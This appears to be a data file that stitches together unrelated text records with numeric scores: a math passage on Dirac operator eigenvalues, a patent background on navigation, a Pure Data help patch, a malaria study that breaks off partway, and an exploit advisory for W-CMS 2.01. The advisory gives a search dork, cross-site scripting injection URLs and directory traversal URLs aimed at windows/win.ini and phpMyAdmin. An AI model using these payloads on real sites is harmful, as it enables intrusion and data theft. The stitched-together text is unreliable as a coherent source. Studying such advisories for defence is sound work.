"If*]{} $\\kappa_0$ [*and*]{} $|\\mbox{Ric}|^2_0$ [*denote the minimum of the eigenvalues and the length of the Ricci tensor, respectively, then the eigenvalues of the Dirac operator are bounded by*]{} $$\\lambda^2 > \\frac{1}{4} \\cdot \\frac{| \\mbox{Ric}|^2_0}{| \\mbox{Ric}|_0 \n\\sqrt{\\frac{n-1}{n}} + |\\kappa_0|} \\ .$$\n\n[**Remark:**]{} The Schrödinger-Lichnerowicz formula implies the well known fact that a compact, non Ricci-flat Riemannian spin manifold with $R \\equiv 0$ does not admit harmonic spinors. ",
"The estimate in Theorem 2.2 is a quantitative improvement of this fact for manifolds with harmonic curvature tensor and vanishing scalar curvature.\\\n[**Example 2:**]{} Let $\\Gamma \\subset \\mbox{Conf}(S^n)$ be a geometrically finite Kleinian group of compact type and denote by $\\Lambda(\\Gamma)$ its limit set. ",
"Then $X^n(\\Gamma) := \\big(S^n - \\Lambda(\\Gamma)\\big)/\\Gamma$ is a closed manifold equipped with a flat conformal structure. ",
"If the Hausdorff dimension of the limit set equals $(n-2)/2$, then there exists a Riemannian metric in the conformal class with vanishing scalar curvature (see [@SY]). ",
"S. Nayatani constructed this metric explicitly and studied its Ricci tensor ([@Nay]).\\\n[**Example 3:**]{} Let us continue Example 1. ",
"If $\\Sigma^2$ is a compact surface with scalar curvature $R_{\\Sigma} = - \\, \\frac{16}{5}$, then $M^{7} := \\Sigma^2 \\, \\times \\, ( S^1 \\times_{f^2} N^{4})$ has a harmonic curvature tensor and vanishing scalar curvature. ",
"Theorem 2.2 proves the estimate $$\\lambda^2 \\ \\ge \\ 0.17833 \\ .$$\n\n[**Example 4:**]{} If $\\Sigma^2$ is a compact surface with scalar curvature $R_{\\Sigma} = - \\, 4$, then $M^{7} := \\Sigma^2 \\, \\times \\, ( S^1 \\times_{f^2} N^{4})$ has a harmonic curvature tensor and [*negative*]{} scalar curvature. ",
"We apply the mini-max principle and obtain $$\\lambda^2 \\ \\ge \\ 0.052 \\ .$$ In particular, $M^{7}$ has no harmonic spinors.",
"\n\nAn estimate of the eigenvalues\n==============================\n\nLet us introduce the short cuts $$\\textstyle\na \\ := \\ \\frac{nR}{8(n-1)} , \\quad b \\ := \\ \\frac{n}{n-1} ( \\frac{R}{n}- \n\\kappa_0) , \\quad c \\ := \\ |\\mbox{Ric} - \\frac{R}{n}|_0 \\sqrt{\\frac{n}{n-1}} ,\\quad A \\ := \\ \\textstyle \\frac{c^2}{4} + 2 \\frac{n-1}{n} ab$$ as well as the new parameter $s:= t/{\\lambda^2}$. Then, by definition, $b$ and $c$ are non-negative and the condition $|\\mbox{Ric}|^2_0 \\ > \\ R \\cdot \\kappa_0$ of Theorem 2.1 is equivalent to $A > 0$. The mini-max principle yields immediately $$\\lambda^2 \\Big(\\lambda^2 - 2 a + 2 b s (\\lambda^2 - {\\textstyle\\frac{R}{4}}) +\n(\\lambda^2 s^2 - {\\textstyle \\frac{s}{2}}) c^2 \\Big) \\ \\ge \\ 0$$ and then $$\\textstyle\n\\lambda^2 \\ \\ge \\ \\frac{2(a + A s)}{1 + 2 b s + c^2 s^2} \\ =: \\ f(s)$$ for any $s \\ge 0$. The function $f(s)$ attains its maximum at the point $$\\textstyle\ns_0 \\ := \\ \\frac{A - 2 a b}{a c^2 + c \\sqrt{a^2 c^2 + A(A - 2 a b)}} \\ .$$ Hence, in case $R \\le 0$ $(a \\le 0)$, the parameter $s_0$ is automatically positive. ",
"In case $R > 0$ $(a > 0)$ the parameter $s_0 > 0$ is positive if and only if $A - 2 a b > 0$ or, equivalently, if $$\\textstyle\n | \\mbox{Ric} |^2_0 \\ > \\ \\frac{R}{n-1} (R- \\kappa_0) \\ ,$$ holds. ",
"We summarize the main result.\\\n[**Theorem 3.1:**]{} [*Let $M^n$ be a compact Riemannian spin manifold with harmonic curvature tensor such that the condition*]{} $$\\Big|\\mbox{Ric} - \\frac{R}{n} \\Big|^2_0 \\ > \\ \\Big( \\frac{R}{n} - \\kappa_0\\Big) \n\\max \\left\\{ \n\\frac{R}{n-1} , - R \\right\\}$$ [*is satisfied. ",
"Then every eigenvalue $\\lambda$ of the Dirac operator satisfies*]{} $$\\lambda^2 \\ > \\ \\frac{A^2}{bA - ac^2 + c \\sqrt{a^2 c^2 + A(A - 2 a b)}} \\ > \n\\ 0 \\ .$$\n\n[**Proof:**]{} In case $R \\le 0$, the condition $(19)$ is equivalent to $|\\mbox{Ric}|^2_0 \\ > \\ R \\kappa_0$ and the case of a positive scalar curvature we already discussed. ",
"Then we obtain $\\lambda^2 \\ge f(s_0) $ and equality cannot occur for an eigenvalue $\\lambda$ of $D$. $\\Box$\\\nWe remark that the compact, conformally flat $3$-manifolds with constant scalar curvature and constant length of the Ricci tensor are the $3$-dimensional space forms and the product of a $2$-dimensional space form $M^2$ by $S^1$ (see [@CIS]). ",
"These manifolds do not satisfy the condition $(19)$.\\\nIn order to express the lower bound of the eigenvalue estimate in a convenient way we introduce the new variables $\\alpha, \\beta$ by the formulas $$\\alpha \\ := \\ a c^2 + (A - 2 a b)b, \\quad \n\\beta \\ := \\ (c^2 - b^2)(A - 2 a b)^2 \\ .$$ They are polynomials of degree three and six, depending on the eigenvalues of the Ricci tensor. ",
"The inequality $(20)$ can be reformulated in the following form.\\\n[**Corollary 3.2:**]{} [*Let $M^n$ be a compact Riemannian spin manifold with harmonic curvature tensor and positive scalar curvature $R>0$. Suppose, moreover, that*]{} $$\\Big|\\mbox{Ric} \\Big|^2_0 \\ > \\ \\frac{R}{n-1} \\Big(R- \\kappa_0\\Big)$$ [*holds. ",
"Then each eigenvalue of the Dirac operator satisfies the estimate*]{} $$\\lambda^2 \\ > \\ \\frac{n R}{4 (n-1)} +\\frac{(A - 2 ab)^2}\n{\\alpha + \\sqrt{\\alpha^2 + \\beta}} \\ > \\ \\frac{n R}{4 (n-1)} \\ .$$\\\nWe remark that the condition in Corollary 3.2 is satisfied in case that the scalar curvature is positive and at least one eigenvalue of the Ricci tensor is negative. ",
"Consequently, we obtain\\\n[**Corollary 3.3:**]{} [*Let $M^n$ be a compact Riemannian spin manifold with parallel Ricci tensor, positive scalar curvature and at least one negative eigenvalue of the Ricci tensor. ",
"Then the estimate of Corollary $3.2$ holds.*]{}\\\n[**Example 1:**]{} Let us consider the product manifold $M^4= T^2 \\times S^2$ equipped with the Riemannian metric induced by the metric of the flat torus $T^2$ and the metric of the standard sphere $S^2 \\subset {\\Bbb R}^3$. Then the Ricci tensor of $M^4$ is parallel and the set of eigenvalues of $\\mbox{Ric}$ is given by $(\\kappa_1 , \\ldots , \\kappa_4)=(0,0,1,1)$. Hence, we have $\\kappa_1=0, \\, R=2 = |\\mbox{Ric}|^2$. The condition $(19)$ is satisfied since $$\\textstyle\n|\\mbox{Ric} - \\frac{R}{4} |^2 \\ = \\ 1 \\ > \\ \\frac{1}{3}\n\\ = \\ \\frac{1}{2} \\max \\left\\{\\frac{2}{3}, -2 \\right\\} \\ .$$ Moreover, we find $a= \\frac{1}{3} , \\ b=\\frac{2}{3} , \\ c= \\sqrt{\\frac{4}{3}},\n\\ A= \\frac{2}{3}, \\ bA - ac^2 =0$. Inserting this into $(20)$ we obtain\\\n$(*)$ $\\lambda^2 > \\frac{1}{2} \\sqrt{2}$ .\\\nThe Riemannian estimate $(1)$ yields the inequality $\\lambda^2 \\ge \\frac{2}{3}$ and the Kähler estimate (see [@Ki]) gives the lower bound $\\lambda^2 \\ge 1$. Since $\\frac{2}{3} < \\frac{1}{2}\n\\sqrt{2} <1$, the estimation of the first eigenvalue of the Dirac operator on the product considered as a Kähler manifold is the best one. ",
"We remark that $\\lambda_1 = 1$ becomes an equality for the first eigenvalue (see [@F2]).\\\n[**Example 2:**]{} Let $N^2$ be any compact Riemannian surface of constant Gaussian curvature $-1$ and let $S^2 (r) \\subset {\\Bbb R}^3$ be the standard sphere of radius $r>0$. Then the Ricci tensor of the Riemannian product $M^4 (r) := S^2 (r) \\times N^2$ is parallel and $(\\kappa_1 , \\ldots , \n\\kappa_4)=(-1 , -1, r^{-2} , r^{-2})$ is the corresponding set of eigenvalues of Ric. ",
"Thus, here we have $$\\textstyle\n\\kappa \\ =\\ -1, \\quad R\\ = \\ - \\, 2 \\cdot (1- \\frac{1}{r^2}), \\quad \n|\\mbox{Ric}|^2 \\ =\\ 2 \\cdot (1+ \\frac{1}{r^4}), \\quad \n|\\mbox{Ric} - \\frac{R}{4} |^2 \\ =\\ (1+ \\frac{1}{r^2})^2 \\ ,$$\n\nand\\\n$\n(\\frac{R}{4} - \\kappa) \\cdot \\max \\left\\{ \\frac{R}{3} , \\ - R\\right\\} \\ \n= \\ \\max \\left\\{ \\frac{1}{3} (\\frac{1}{r^4} -1) , 1- \\frac{1}{r^4} \\right\\} . ",
"$\\\nThis shows that the condition $(19)$ is satisfied and we find $$\\textstyle\na\\ = \\ \\frac{1}{3} ( -1 + \\frac{1}{r^2} ) \\quad , \\quad b\\ =\\ \\frac{2}{3}\n( 1+ \\frac{1}{r^2} ) \\quad , \\quad c\\ = \\ ( 1+ \\frac{1}{r^2} )\n\\sqrt{\\frac{4}{3}} ,$$ $$\\textstyle\nA\\ = \\ \\frac{2}{3} \\frac{1}{r^2} ( 1+ \\frac{1}{r^2} ) \\quad , \\quad c^2-b^2\n\\ = \\ \\frac{8}{9} ( 1+ \\frac{1}{r^2})^2 , \\quad\nbA - ac^2 \\ = \\ \\frac{4}{9} ( 1+ \\frac{1}{r^2} )^2 \\ .$$ Inserting this into the inequality $(20)$ we obtain the estimation\\\n$(*)$ $\n\\lambda^2 \\ > \\ \\frac{1}{2} ( \\sqrt{1+ \\frac{2}{r^4}} - 1 ) \\ > \\ 0 \\ . ",
"$\\\nHence, we see that, on the product $M^4 (r)$, the Dirac operator has a trivial kernel even in case the scalar curvature is negative. ",
"In case the scalar curvature is positive, we can compare the new estimation $(*)$ with the estimation $(1)$ and with the estimation for Kähler manifolds (see [@Ki]), respectively. ",
"For positive scalar curvature $(r <1)$, the lower bound $(*)$ is obviously better than the Riemannian estimate $(1)$, $$\\textstyle\n\\frac{2}{3} ( -1 + \\frac{1}{r^2}) \\ < \\ \\frac{1}{2} \\Big( \\sqrt{1+\n\\frac{2}{r^4}} -1 \\Big) \\ .$$ If we compare the new lower bound $(*)$ and the lower bound $-1 + \\frac{1}{r^2}$ in the Kähler case then, in the region $1/\\sqrt{2} <r<1 \\ (0<R<2)$, the inequality $(*)$ is the better one (see the figure): $$\\textstyle\n\\frac{1}{2} \\Big( \\sqrt{1+\\frac{2}{r^4}} -1 \\Big) \\ > \\ -1 + \\frac{1}{r^2} \\ \n\\quad \\mbox{if} \\quad 1/\\sqrt{2} <r<1 \\ .$$ This example shows that in certain cases with positive scalar curvature the estimate given by Theorem 3.1 is even better than the bound in [@Ki] for Kähler manifolds.",
"\n\n$$\\epsfig{figure=bild3.eps, width=7cm}$$\n\nThe preceding two examples are special cases of a more general situation. ",
"Consider compact Einstein manifolds with spin structures $M^{n_1}_1 , \\ldots , M^{n_k}_k$ of dimensions $n_1, \\ldots , n_k $ (in the case of $n_i = 2$, we assume that $M^{n_i}$ is a surface of constant Gaussian curvature). ",
"Then the Riemannian product $M^n := M^{n_1}_1 \\times \n\\ldots \\times M^{n_k}_k$ is a compact Riemannian spin manifold with parallel Ricci tensor. ",
"Let $R_i$ be the scalar curvature of $M^{n_i}_i$. Then the scalar curvature $R$ as well as the length of the Ricci tensor of $M^n$ are given by $$\\textstyle\nR\\ = \\ \\sum\\limits^k_{i=1} R_i, \\quad \\quad \n|\\mbox{Ric}|^2 \\ = \\ \\sum\\limits^k_{i=1} \\frac{R_i^2}{n_i} \\ .$$\n\nMoreover, let us assume that the smallest eigenvalue of the Ricci tensor is $\\kappa_1 = \\frac{R_1}{n_1}$. Then the conditions under which we can apply our estimate are equivalent to $$\\textstyle\n\\sum\\limits^k_{i=1}\n\\frac{R_i^2}{n_i} \\ > \\ \\frac{R_1}{n_1} ( \\sum\\limits^k_{i=1}\nR_i ) \\quad (R \\ \\le \\ 0), \\quad \\mbox{and} \\quad\n \\sum\\limits^k_{i=1}\n\\frac{R_i^2}{n_i} \\ > \\ \\frac{1}{n-1} ( \\sum\\limits^k_{i=1} R_i )\n( \\sum\\limits^k_{i=2} R_i ) \\quad (R \\ge 0)$$\n\nrespectively. ",
"Remark that, by the theorem of de Rham-Wu [@Wu], any compact, simply connected Riemannian manifold with parallel Ricci tensor splits into a Riemannian product of Einstein manifolds, i.e., the product situation is the general one for a parallel Ricci tensor.\\\n\n[MMM]{} H. Baum, Th. ",
"Friedrich, R. Grunewald, I. Kath, Twistor and Killing spinors on Riemannian manifolds, Teubner-Texte zur Mathematik, Band 124, B.G. Teubner-Verlagsgesellschaft (1991). ",
"A. Besse, Einstein manifolds, Springer-Verlag Berlin Heidelberg 1987. ",
"Q. Cheng, S. Ishikawa, K. Shiohama, Conformally flat $3$-manifolds with constant scalar curvature, J. Math. ",
"Soc. ",
"Japan 51 (1999), 209-226. ",
"A. Derdzinski, Classification of certain compact Riemannian manifolds with harmonic curvature and non-parallel Ricci tensor, Math. ",
"Z. 172 (1980), 273-280. ",
"A. Derdzinski, On compact Riemannian manifolds with harmonic curvature, Math. ",
"Ann. ",
"259 (1982), 145-152. ",
"A. Derdzinski, Riemannian metrics with harmonic curvature on $2$-sphere bundles over compact surfaces, Bull. ",
"Soc. ",
"Math. ",
"Fr. ",
"116 (1988), 133-156. ",
"Th. ",
"Friedrich, Der erste Eigenwert des Dirac-Operators einer kompakten Riemannschen Mannigfaltigkeit nichtnegativer Skalarkrümmung, Math. ",
"Nachr. ",
"97 (1980), 117-146. ",
"Th. ",
"Friedrich, The classification of 4-dimensional Kähler manifolds with small eigenvalue of the Dirac operator, Math. ",
"Ann. ",
"295 (3) 1993, 565-574. ",
"Th. ",
"Friedrich, E. C. Kim, Some remarks on the Hijazi inequality and generalizations of the Killing equation for spinors, Journ. ",
"Geom. ",
"Phys. ",
"37 (2001), 1-14. ",
"O. Hijazi, A conformal lower bound for the smallest eigenvalue of the Dirac operator and Killing spinors, Commun. ",
"Math. ",
"Phys. ",
"104 (1986), 151-162. ",
"K.-D. Kirchberg, The first eigenvalue of the Dirac operator on Kähler manifolds, J. Geom. ",
"Phys. ",
"7 (1990), 449-468. ",
"W. Kramer, U. Semmelmann, G. Weingart, Eigenvalue estimates for the Dirac operator on quaternionic Kähler manifolds, Math. ",
"Z. 230 (1999), 727-751. ",
"S. Nayatani, Patterson-Sullivan measure and conformally flat metrics, Math. ",
"Z. 225 (1997), 115-131. ",
"R. Schoen, S.-T. Yau, Conformally flat manifolds, Kleinian groups and scalar curvature, Invent. ",
"Math. ",
"92 (1988), 47-71. ",
"H. Wu, Holonomy groups of indefinite metrics, Pacific Journal of Mathematics 20 (1967), 351-392. ",
"K. Yano, S. Bochner, Curvature and Betti numbers, Princeton 1953.",
"\n\nThomas Friedrich and Klaus-Dieter Kirchberg\\\nHumboldt-Universität zu Berlin\\\nInstitut für Reine Mathematik\\\nSitz: WBC Adlershof\\\nD-10099 Berlin\\\n\n[^1]: Supported by the SFB 288 of the DFG.",
"\n"
] | {
"pile_set_name": "ArXiv"
} | [
0.0007228098111227155,
0.000703242258168757,
0.0005965012824162841,
0.0006184608209878206,
0.007066652178764343,
0.00062344572506845,
0.0006076298304833472,
0.0006101984763517976,
0.0006426993058994412,
0.008546924218535423,
0.0007368444348685443,
0.0008676308207213879,
0.008079525083303452,
0.005434081889688969,
0.0029314402490854263,
0.026615509763360023,
0.03321846202015877,
0.0009432565420866013,
0.0010177327785640955,
0.0008009543525986373,
0.010447388514876366,
0.07170873880386353,
0.018351996317505836,
0.06434006989002228,
0.12279190868139267,
0.04589704051613808,
0.11995221674442291,
0.1267876774072647,
0.1862676590681076,
0.06406421214342117,
0.000998957548290491,
0.0006081509636715055,
0.01759575679898262,
0.023515313863754272,
0.0070646884851157665,
0.010581796057522297,
0.0007091420702636242,
0.005542214028537273,
0.0006544882780872285,
0.0005724510992877185,
0.0006103352061472833,
0.0006430185167118907,
0.0006734786438755691,
0.0023098522797226906,
0.0007146233110688627,
0.054140277206897736,
0.00233919988386333,
0.0005847532884217799,
0.0013208488235250115,
0.00337919220328331,
0.0015476265689358115,
0.001050538383424282,
0.0006475639529526234,
0.010235420428216457,
0.4560437798500061,
0.001043683267198503,
0.024853946641087532,
0.001787153771147132,
0.007250603288412094,
0.005205178167670965,
0.0008313333382830024,
0.0018465538742020726,
0.0007592214969918132,
0.0006496830610558391,
0.0008804577519185841,
0.001263136975467205,
0.0011215273989364505,
0.030112484470009804,
0.002294845413416624,
0.0074775125831365585,
0.0014289409155026078,
0.0009436197578907013,
0.0012734594056382775,
0.004284389782696962,
0.0017041981918737292,
0.0011181021109223366,
0.00892697088420391,
0.0015682687517255545,
0.06198109686374664,
0.025367477908730507,
0.0007926800171844661,
0.0005635694833472371,
0.0013360208831727505,
0.004288502968847752,
0.0010643891291692853,
0.002537313848733902,
0.04413151741027832,
0.0008688651141710579,
0.0008179565193131566,
0.0006103587220422924,
0.0007185129798017442,
0.0007810515817254782,
0.0006588842370547354,
0.0007888426771387458,
0.0006355051882565022,
0.0006744549609720707,
0.0015625481028109789,
0.0006832372746430337,
0.03274999186396599,
0.0007810515817254782,
0.0008406097185797989,
0.0013475361047312617,
0.0007095416076481342,
0.0020352411083877087,
0.00702062901109457,
0.010436922311782837,
0.0007597299409098923,
0.0020352411083877087,
0.0007371172541752458,
0.0015625481028109789,
0.000729354505892843,
0.0020352411083877087,
0.0007468857802450657,
0.0008833627216517925,
0.0012429299531504512,
0.0006757504306733608,
0.001079629990272224,
0.0008406097185797989,
0.0012429299531504512,
0.0007316867122426629,
0.0007042313809506595,
0.0012429299531504512,
0.0007208005408756435,
0.0007496668258681893,
0.0007510042632929981,
0.0007103122188709676,
0.0007156360079534352,
0.0007710360805504024,
0.0008406097185797989,
0.0007142062531784177,
0.0006816688692197204,
0.0006347654853016138,
0.0006686290726065636,
0.001995444530621171
] | 0.01402 | 134 |
[
"The present invention relates to a method and system for providing navigation features and functions, and more particularly to a method and system for collecting images and providing navigation features using the images.",
"\nVehicle navigation systems are available that provide end users with various navigation-related functions and features. ",
"For example, some navigation systems are able to determine an optimum route to travel along a road network from an origin location to a destination location in a geographic region. ",
"Using input from the end user, and optionally from equipment that can determine the end user's location (such as a GPS system), the navigation system can examine various potential routes between the origin and destination locations to determine the optimum route. ",
"The navigation system may then provide the end user with information about the optimum route in the form of guidance that identifies the driving maneuvers for the end user to travel from the origin to the destination location. ",
"The guidance may take the form of visual and/or audio instructions that are provided along the way as the end user is traveling the route. ",
"Some navigation systems are able to show detailed maps on displays outlining the route, the types of maneuvers to be taken at various locations along the route, locations of certain types of features, and so on.",
"\nIn order to provide these and other navigation-related functions and features, navigation systems use geographic data. ",
"The geographic data may be in the form of one or more geographic databases that include data representing physical features in the geographic region. ",
"The geographic database includes information about the represented geographic features, such as the positions of the roads, speed limits along portions of roads, address ranges along the road portions, turn restrictions at intersections of roads, direction restrictions, such as one-way streets, and so on. ",
"Additionally, the geographic data may include points of interest, such as restaurants, hotels, airports, gas stations, stadiums, police stations, and so on.",
"\nAlthough navigation systems provide many important features, there continues to be room for new features and improvements. ",
"One area in which there is room for improvement relates to providing improved guidance for following the route. ",
"In some situations, additional guidance and orientation information would be helpful when following the route. ",
"For example, some areas may be difficult for a user of a navigation system 100 to traverse because of the many road segments intersecting in the area and the many different turn options available to travel. ",
"Additionally, pedestrians may find additional guidance and orientation information helpful when traversing a route because pedestrians have a greater degree of freedom of motion and may become more frequently confused as to their orientation to destination.",
"\nAccordingly, it would be beneficial to have a way to collect and provide images that may be used to provide improved navigation-related functions and features."
] | {
"pile_set_name": "USPTO Backgrounds"
} | [
0.0005586806801147759,
0.0005741584463976324,
0.000566918111871928,
0.0005392945604398847,
0.0005443419213406742,
0.0005680520553141832,
0.000572715827729553,
0.0006021629669703543,
0.0006017490522935987,
0.0005751977441832423,
0.0005703273927792907,
0.0005552578368224204,
0.0005403794930316508,
0.0005163753521628678,
0.0005477481172420084,
0.0005744570516981184,
0.0005331787979230285
] | 0.000561 | 17 |
[
"#N canvas 143 0 673 325 12;\n#X msg 268 277 bang;\n#X obj 244 303 print~;\n#X msg 185 278 bang;\n#X obj 161 304 print~;\n#X text 53 117 click here first;\n#X msg 72 270 bang;\n#X obj 48 296 print~;\n#X text 162 222 shift left;\n#X text 243 224 shift right;\n#X obj 161 252 lrshift~ 1;\n#X obj 244 251 lrshift~ -1;\n#X text 39 37 Acting at whatever vector size the window is running\nat \\, lrshift~ shifts samples to the left (toward the beginning sample)\nor to the right. ",
"The argument gives the direction and the amount of\nthe shift. ",
"The rightmost (or leftmost) samples are set to zero.;",
"\n#N canvas 0 0 450 300 (subpatch) 0;\n#X array shiftin 64 float 0;\n#X coords 0 1 63 0 200 140 1;\n#X restore 448 118 graph;\n#X text 115 11 -- shift signal vector elements left or right;\n#X msg 54 138 \\; pd dsp 1 \\; shiftin 1 1;\n#X obj 48 204 tabreceive~ shiftin;\n#X text 525 308 Updated for Pd 0.31.;",
"\n#X obj 47 11 lrshift~;\n#X connect 0 0 1 0;\n#X connect 2 0 3 0;\n#X connect 5 0 6 0;\n#X connect 9 0 3 0;\n#X connect 10 0 1 0;\n#X connect 15 0 6 0;\n#X connect 15 0 9 0;\n#X connect 15 0 10 0;\n"
] | {
"pile_set_name": "Github"
} | [
0.001232760725542903,
0.0005758170736953616,
0.0008216531132347882,
0.0013382750330492854,
0.029897088184952736
] | 0.006773 | 5 |
[
"# Exploit Title: W-Cms Multiple Vulnerability\n# Date: 2012-01-09\n# Author: th3.g4m3_0v3r\n# Site:http://w-cms.info/\n# Software Link: http://code.google.com/p/wcms/\n# Dork: intext:\"Powered by w-CMS\"\n# Version : [2.01]\n# Tested on: Window 7\n# Yogesh Kashyap, shubneet goel, w4rl0ck.d0wn, Chip, VzAcnY, Razzy, Sayan, Jaggi Panu, Darkgt\n# www.h4ck3r.in, www.root-team.com, www.hackingmind.com, www.hackingcrackingtricks.in\n \n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nwww.h4ck3r.in www.root-team.com www.hackingmind.com\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n \nW-CMS cross site scripting\n_______________\n \nVulnerable Link __________\\/_____________________\n_______________\n \nhttp://localhost/index.php?bid=1&COMMENT=1 \"XSS\"\nhttp://localhost/?p=3\"XSS\"\nhttp://localhost/?bid=5&p=1\"XSS\"\n \n \nhttp://localhost/?p=3<FORM action=\"Default.asp?PageId=-1\"\nmethod=POST id=searchFORMname=searchFORM\n style=\"margin:0;padding:0\"><INPUT type=\"hidden\" value=\"\"\nname=\"txtSEARCH\"></FORM>\n \n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\ndirectory traversal attacks\n \nThis script is possibly vulnerable to directory traversal attacks\n \nhttp://localhost/wcms-2.01_2/?p=../../../../../../../../../../windows/win.ini\nhttp://localhost/wcms-2.01_2/?p=../../../../../phpMyAdmin/db_create.php\n \n \n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n \nGreetz To : 1337day.com ~ exploit-db.com ~ hackforums.net\n\n\n"
] | {
"pile_set_name": "Github"
} | [
0.0026396296452730894
] | 0.00264 | 1 |
[
"1. ",
"Introduction {#sec1}\n===============\n\nIn malaria high-transmission areas, some population groups are at considerably higher risk of infection with *Plasmodium falciparum* and development of malaria morbidity or mortality than others. ",
"These include children less than five years of age and pregnant women. ",
"Malaria contributes significantly to perinatal disease burden in terms of pregnancy loss, prematurity due to preterm labor, and intrauterine growth retardation \\[[@B1]\\]. ",
"Malaria infection during pregnancy poses a substantial risk to the mother, her fetus, and the neonate. ",
"In areas of stable malaria transmission such as Burkina Faso, where adult women have considerable acquired immunity, *Plasmodium falciparum*infection during pregnancy does not cause symptomatic malaria, but may lead to maternal anemia as well as placental and cord blood malaria infection, especially among primigravidae and secundigravida \\[[@B2]--[@B4]\\].",
"\n\nPlacental malaria is defined as the accumulation of *Plasmodium*-infected erythrocytes in the intervillous space in the placenta, causing histologic changes including leukocyte-induced damage to the trophoblastic basement membrane. ",
"The placental infection does not reflect the existence of peripheral infection over a short period preceding the delivery or whether it is related to infection during pregnancy. ",
"Susceptibility to this may be correlated to high exposure to malaria and repeated episodes of parasitemia during the pregnancy \\[[@B5]\\].",
"\n\nVertical transmission of malaria from mother to foetus through the placenta and umbilical cord is defined as umbilical cord blood parasitemia. ",
"The transplacental transmission of *Plasmodium falciparum*from mother to fetus has long been well-described \\[[@B6], [@B7]\\].",
"\n\nThe direct burden of neonatal malaria infection in terms of prevalence is not well-described in malaria endemic areas. ",
"In fact, the method used to identify congenital transmission is peripheral blood of newborns or umbilical cord blood. ",
"Malaria parasites have been detected only rarely in the peripheral blood of newborns, whether the blood specimen is collected at the time of birth or hours later \\[[@B8], [@B9]\\]. ",
"In studies in which both umbilical cord blood and infant peripheral blood were obtained at the time of birth, the parasite load in the babies\\' peripheral blood has always been lower than that in the umbilical cord blood \\[[@B9]--[@B11]\\].",
"\n\nStudies published so far have documented contradictory levels of this burden. ",
"In countries without endemic malaria, congenital malaria has occurred in children born to women who have immigrated from malarious areas. ",
"However, transplacental transmission of *Plasmodium falciparum*has been found to be rare in malaria-endemic areas, ranging from about 1 to 5% \\[[@B12]--[@B15]\\]. ",
"In contrast, data from recent studies on the burden of congenital and neonatal malaria, while scarce and contradictory, have indicated a high burden (more than 15%) in parts of sub-Saharan Africa \\[[@B13], [@B15]--[@B18]\\].",
"\n\nIn Burkina Faso, the real prevalence of neonatal malaria is unknown but is estimated to be even higher. ",
"This assessment is based on presumptive malaria diagnosis. ",
"The present study was designed to determine the real burden of transplacental transmission, the risk factors associated with transplacental transmission, and the prevalence of cord blood and placental malaria parasitemia in malaria holoendemic area of Burkina Faso.",
"\n\nThese results represent a pooled analysis of studies on malaria prevention in pregnant women \\[[@B4], [@B19], [@B20]\\] examining umbilical cord blood to determine the frequency of transplacental transmission of *Plasmodium falciparum.*",
"\n\n2. ",
"Materials and Methods {#sec2}\n========================\n\n2.1. ",
"Study Site {#sec2.1}\n---------------\n\nThe first study took place within six delivery units (DUs) of the Koupela health district, which is located around 120 km east of Ouagadougou. ",
"The second study was conducted in one DU of the Health District of Bousse. ",
"Both study sites have been extensively described elsewhere \\[[@B4], [@B19], [@B20]\\]. ",
"Malaria transmission is stable, with marked seasonality in both sites. ",
"Transmission is intense during the rainy season (June to October). ",
"The main malaria vectors are *Anopheles gambiae, Anopheles arabiensis,*and *Anopheles funestus*. ",
"The annual entomological inoculation rates range from 10 to 500 infective bites per individual. *",
"Plasmodium falciparum*is responsible for more than 90% of malaria infections.",
"\n\n2.2. ",
"Study Population {#sec2.2}\n---------------------\n\nThe study participants were pregnant women who voluntarily consented to participate in trials of malaria prophylaxis during pregnancy. ",
"They were encouraged to deliver at the health facility where the study samples were collected for processing.",
"\n\n2.3. ",
"Clinical Procedures {#sec2.3}\n------------------------\n\nWomen delivering at the health facility, after giving informed consent, were asked a standard series of questions focused on sociodemographic characteristics, history of fever, antimalarial drug use, and the use of antimalarial chemoprophylaxis and bednets. ",
"Capillary blood was obtained by fingerstick for malaria blood film preparation. ",
"Placental blood films were prepared by identifying the maternal side of the placenta, wiping away excess blood, cutting into the surface, and placing pooled blood onto a slide. ",
"Umbilical cord blood samples were obtained by wiping away excess blood from a clamped cord, piercing it with a lancet, and placing a drop of expressed blood on a slide.",
"\n\nA detailed clinical examination was done on each newborn infant within 24 hours of delivery. ",
"Neonates were weighted with an electronic digital scale (±10 grams) (Tanita Corporation, Tokyo, Japan). ",
"The Dubowitz scoring system was used to estimate gestational age, using findings from physical and neurologic examinations. ",
"Scoring by APGAR index was performed at delivery but was not recorded in this study.",
"\n\n2.4. ",
"Lab Methods {#sec2.4}\n----------------\n\nAll blood films (maternal, placental, and cord) were stained with Giemsa and examined for parasites at the \"Centre National de Recherche et de Formation sur le Paludisme\" immunoparasitology laboratory in Ouagadougou. ",
"For thick films, parasites and leukocytes were counted in the same fields until 500 leukocytes were counted. ",
"Parasite densities were estimated using an assumed leukocyte count of 8,000 leukocytes/*μ*L. Parasite densities were calculated according to the following formula: number of parasites counted × 8000/number of leucocytes counted. ",
"Thin films were then used to determine species when thick films were positive. ",
"All slides were double-read by two independent microscopists. ",
"If the ratio of densities from the first two readings was greater than 1.5 or less than 0.67, or if fewer than 30 parasites were counted with a difference of more than 10 parasites between the two readings, the slide was evaluated a third time. ",
"The geometric mean of the parasite density of the two most concordant results of the three readings was taken as the final result. ",
"When the discordance was only in terms of positivity, the slide was also evaluated a third time and the definitive result was based on the majority verdict for positivity.",
"\n\n2.5. ",
"Definitions {#sec2.5}\n----------------\n\nBlood film results were considered to be positive if any asexual-stage parasites were identified and negative if no parasites were seen in 100 high-power fields.",
"\n\nPrematurity was defined as a gestational age \\<37 weeks as estimated by Dubowitz examination.",
"\n\nWe defined low birth weight as a birth weight of \\<2,500 g with a gestational age ≥37 weeks.",
"\n\n2.6. ",
"Statistical Analysis {#sec2.6}\n-------------------------\n\nData collected in the study questionnaire were verified, then double-entered, and validated with EpiInfo, version 6.04 fr (Centers for Diseases Control and Prevention, Atlanta, USA). ",
"Data were analyzed using Epi-info and Stata 7.0. ",
"The analysis included data from births of all enrolled participants who delivered at the study centre clinic for whom data were available. ",
"Continuous, normally distributed data were described by mean and standard deviation and nonnormally distributed data by the median or geometrical mean and range. ",
"Proportions were compared using the Chi-square test and normally distributed continuous variables were compared using Student\\'s *t*-test. ",
"Statistical results were considered significant, when the two-sided *P* value was \\<0.05.",
"\n\n2.7. ",
